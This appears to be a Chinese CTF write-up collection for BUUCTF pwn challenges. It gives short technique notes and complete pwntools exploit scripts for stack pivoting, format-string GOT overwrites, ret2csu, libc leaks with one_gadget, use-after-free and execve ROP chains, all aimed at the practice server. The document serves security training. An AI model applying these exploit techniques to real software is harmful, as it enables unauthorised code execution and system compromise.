buuctf-pwn wp
ciscn_2019_es_2
考点:栈迁移到栈上
难度:简单
注意点:32位call完下一个位置ret的地址,binsh必须将地址传入system
第一次输入来泄漏ebp的值,然后第二次输入利用栈迁移在栈上布置ROP链,程序有system@plt
exp:
from pwn import *
local = 0
binary = "./ciscn_2019_es_2"
# libc_path = ''
port = "27748"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
payload = 0x28 * 'a'
dbg()
p.recvuntil('Welcome, my friend. What\'s your name?')
p.send(payload)
ebp = u32(p.recvuntil('\xff')[-4:])
print "[*] ebp:",hex(ebp)
system = 0x08048400
leave_ret = 0x080484b8
payload = p32(ebp - 0x10) + p32(system) + p32(0xdeadbeef) + p32(ebp - 0x18) + '/bin/sh\x00'
payload = payload.rjust(0x28,'a')
payload += p32(ebp - 0x28) + p32(leave_ret)
sleep(1)
p.send(payload)
p.interactive()
[BJDCTF 2nd]r2t4
考点:64位格式化字符串漏洞
难度:中等
可以改__stack_chk_fail函数为后门函数
exp:
from pwn import *
local = 0
binary = "./r2t4"
# libc_path = ''
port = "27608"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
# aaaaaaaa %p %p %p %p %p %p %p %p %p %p %p
# 6 argument
__stack_chk_fail = 0x601018
backdoor = 0x400626
# payload = fmtstr_payload(7,{__stack_chk_fail:backdoor})
payload = "%64c%9$hhn%1510c%10$hnft" + p64(__stack_chk_fail + 2) + p64(__stack_chk_fail) # 1510 = 0x626 - 0x40
payload = payload.ljust(0x38,'a')
dbg()
p.send(payload)
p.interactive()
jarvisoj_fm
32位格式化字符串,改bss段上的变量为4就能getshell
from pwn import *
local = 0
binary = "./fm"
# libc_path = ''
port = "25248"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
target = 0x0804A02C
# target : 3
# target : 4
# aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
# 11 arg
# payload = fmtstr_payload(11,{target:4})
payload = p32(target) + "%11$hhna"
p.send(payload)
p.interactive()
jarvisoj_tell_me_something
这个题很阴险啊.jpg
有后门可以读flag,栈溢出一把梭
from pwn import *
p = remote('node3.buuoj.cn',25544)
payload = 0x88 * 'a' + p64(0x400620)
context.log_level = 'debug'
p.recvline()
p.send(payload)
p.interactive()
jarvisoj_level4
32位rop,一把梭
from pwn import *
local = 0
binary = "./level4"
libc_path = '../libc-2.23_32.so'
port = "25525"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def Plen(payload):
print "[*] len:",hex(len(payload))
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['write']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
offset = 0x88 + 0x4
elf = ELF(binary)
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
main = elf.sym['main']
payload = offset * 'a' + p32(write_plt) + p32(main)
payload += p32(1) + p32(write_got) + p32(0x4)
Plen(payload)
p.send(payload)
write_addr = u32(p.recv(4))
leak_libc(write_addr)
one_gadget = libc_base + 0x3a80c
payload = offset * 'a' + p32(one_gadget)
p.send(payload)
p.interactive()
bjdctf_2020_babystack2
无符号溢出,懂得都懂
from pwn import *
local = 0
binary = "./bjdctf_2020_babystack2"
# libc_path = ''
port = "29100"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
p.recvuntil('[+]Please input the length of your name:')
p.sendline('-1')
p.recvuntil('[+]What\'s u name?')
backdoor = 0x400726
payload = 0x18 * 'a' + p64(backdoor)
p.send(payload)
p.interactive()
jarvisoj_level3_x64
64位rop,ret2csu,有手就行
from pwn import *
local = 0
binary = "level3_x64"
libc_path = '../libc-2.23.so'
port = "26790"
context.terminal = ['tmux','splitw','-h']
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
pop6_ret = 0x4006AA
'''
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
'''
mov3_call = 0x400690
'''
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
'''
offset = 0x88
elf = ELF(binary)
write_got = elf.got['write']
main = elf.sym['main']
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['write']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
def ret2csu(rbx,rbp,r12,r13,r14,r15,ret):
'''
rdx == r13
rsi == r14
rdi == r15
call == r12
'''
payload = offset * 'a'
payload += p64(pop6_ret)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(mov3_call)
payload += 'a' * 0x38
payload += p64(ret)
p.send(payload)
p.recvuntil("Input:")
ret2csu(0,1,write_got,0x8,write_got,0x1,main)
write = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
leak_libc(write)
one_gadget = libc_base + 0x4526a
payload = offset * 'a' + p64(one_gadget)
sleep(0.4)
p.send(payload)
p.interactive()
jarvisoj_test_your_memory
栈溢出,没手也行
from pwn import *
local = 0
binary = "./jarvisoj_test_your_memory"
# libc_path = ''
port = "26886"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
dbg()
backdoor = 0x080485C9
cat_flag = 0x080487E0
payload = (0x13 + 0x4) * 'a' + p32(backdoor) + p32(cat_flag)
# p.recvuntil('> ')
p.sendline(payload)
p.interactive()
bjdctf_2020_babyrop2
比普通的题目多了一点儿弯
开了canary,需要格式化字符串来泄漏一下
但也是有手就行
from pwn import *
local = 0
binary = "bjdctf_2020_babyrop2"
libc_path = '../libc-2.23.so'
port = "29254"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['puts']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
context.terminal = ['tmux','splitw','-h']
# 7arg
def format():
global canary
format_string = "%7$p"
p.recvuntil("I'll give u some gift to help u!")
p.sendline(format_string)
p.recvuntil('0x')
canary = int(p.recv(16),16)
print "[*] leak canary : ",hex(canary)
format()
pop_rdi_ret = 0x0000000000400993
elf = ELF(binary)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
p.recvuntil('Pull up your sword and tell me u story!')
payload = (0x20 - 0x8) * 'a' + p64(canary) + 0x8 * 'a'
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.send(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
leak_libc(puts_addr)
one_gadget = libc_base + 0x45216
format()
dbg()
payload = (0x20 - 0x8) * 'a' + p64(canary) + 0x8 * 'a'
payload += p64(one_gadget)
p.recvuntil('Pull up your sword and tell me u story!')
p.send(payload)
# gdb.attach(p)
p.interactive()
hitcontraining_uaf
考点:uaf
难度:简单
注意点:无
from pwn import *
local = 0
binary = "hacknote"
libc_path = '../libc-2.23_32.so'
port = "25351"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Note size :',str(size))
p.sendafter('Content :',content)
def free(index):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(index))
def show(index):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(index))
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['atoi']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
elf = ELF(binary)
atoi_got = elf.got['atoi']
print_func = 0x080485FB
backdoor = 0x08048945
add(0x8,'aaaa') # 0
add(0x10,'lemon') # 1
free(0)
free(1)
# add(0x8,p32(print_func) + p32(atoi_got)) # 2 == 0's control
# show(0)
# leak = u32(p.recvuntil('\xf7')[-4:])
# log.success("LEAK:{}".format(hex(leak)))
add(0x8,p32(backdoor) + p32(0xdeadbeef))
show(0)
p.interactive()
axb_2019_fmt64
考点:64位格式化字符串
难度:中等
注意点:注意使用模板的时候调整len_other_string参数
可以循环利用格式化字符串,使用模板攻击两次即可,第一次泄漏地址,第二次改写got表为one_gadget
# -*- encoding:utf-8 -*-
from pwn import *
local = 0
binary = "./axb_2019_fmt64"
# libc_path = '../libc-2.23.so'
libc_path = '../libc-2.23.so'
port = "25754"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['__libc_start_main']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
def format_string_template_64(location_arg,target,after_change,len_other_string = 0,ljust_location = 0x50,bit = 0x6):
'''
第一个参数是格式化字符串的位置,即第几个参数
第二个参数是要改哪里的值
第三个参数是把想把目标值改成什么值
第四个参数是看看在printf之前还有没有奇奇怪怪的字符串,比如"fmtstr:",这样在之后输入之前要减去len("fmtstr:"),默认是0
第五个参数是ljust填补核心payload之后,让其0x8个字节对齐,默认是0x50
第六个参数是要覆盖的位数,默认为6
'''
if bit == 1:
low1 = (after_change & 0xff)
c1 = (low1 - len_other_string + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
if bit == 2:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
if bit == 3:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
if bit == 4:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
if bit == 5:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)
if bit == 6:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32
low6 = (after_change & 0xff0000000000) >> 40
c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100
c6 = (low6 - low5 + 0x100) % 0x100
location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1
location_arg6 = location_arg5 + 1
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
payload = payload + '%' + str(c6) + 'c' + '%' + str(location_arg6) + '$hhn'
payload = payload.ljust(ljust_location,'a')
payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)
payload = payload + p64(target + 0x5)
return payload
elf = ELF(binary)
read_got = elf.got['read']
payload = "%83$p"
p.recvuntil("Please tell me:")
p.send(payload)
p.recvuntil('0x')
leak = int(p.recv(12),base = 16) - 240
leak_libc(leak)
one_gadget = libc_base + 0x4526a
print hex(one_gadget)
payload = format_string_template_64(8,read_got,one_gadget,9,0x80,0x6)
p.recvuntil("Please tell me:")
p.send(payload)
p.interactive()
picoctf_2018_buffer overflow 1 栈溢出
考点:栈溢出
难度:简单
注意点:无
from pwn import *
local = 0
binary = "./PicoCTF_2018_buffer_overflow_1"
# libc_path = ''
port = "25082"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
payload = (0x28 + 0x4) * b'a' + p32(0x080485CB)
p.recvuntil("Please enter your string:")
p.send(payload)
p.interactive()
cmcc_simplerop
考点:静态编译rop限制read长度
难度:中等
注意点:ida分析偏移不准确
ida的偏移需要自己gdb来调一下
ropchain太长,自己找rop链,利用int 0x80来完成系统调用
首先在bss写入binsh,然后int 0x80,利用execve getshell
from pwn import *
import time
local = 0
binary = "./simplerop"
port = "26480"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
int_80 = 0x0806EEF0
pop_eax_ret = 0x080bae06 # pop eax ; ret
pop_edx_ecx_ebx_ret = 0x0806e850 # pop edx ; pop ecx ; pop ebx ; ret
buf = 0x080EB010
payload = (0x1c + 0x4) * 'a'
payload += p32(pop_eax_ret) + p32(0x3) + p32(pop_edx_ecx_ebx_ret) + p32(0x8) + p32(buf) + p32(0) + p32(int_80)
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(buf) + p32(int_80)
log.success("PAYLOAD LENGTH:{}".format(len(payload)))
p.recvuntil(":")
p.send(payload)
time.sleep(0.5)
p.send("/bin/sh\x00")
p.interactive()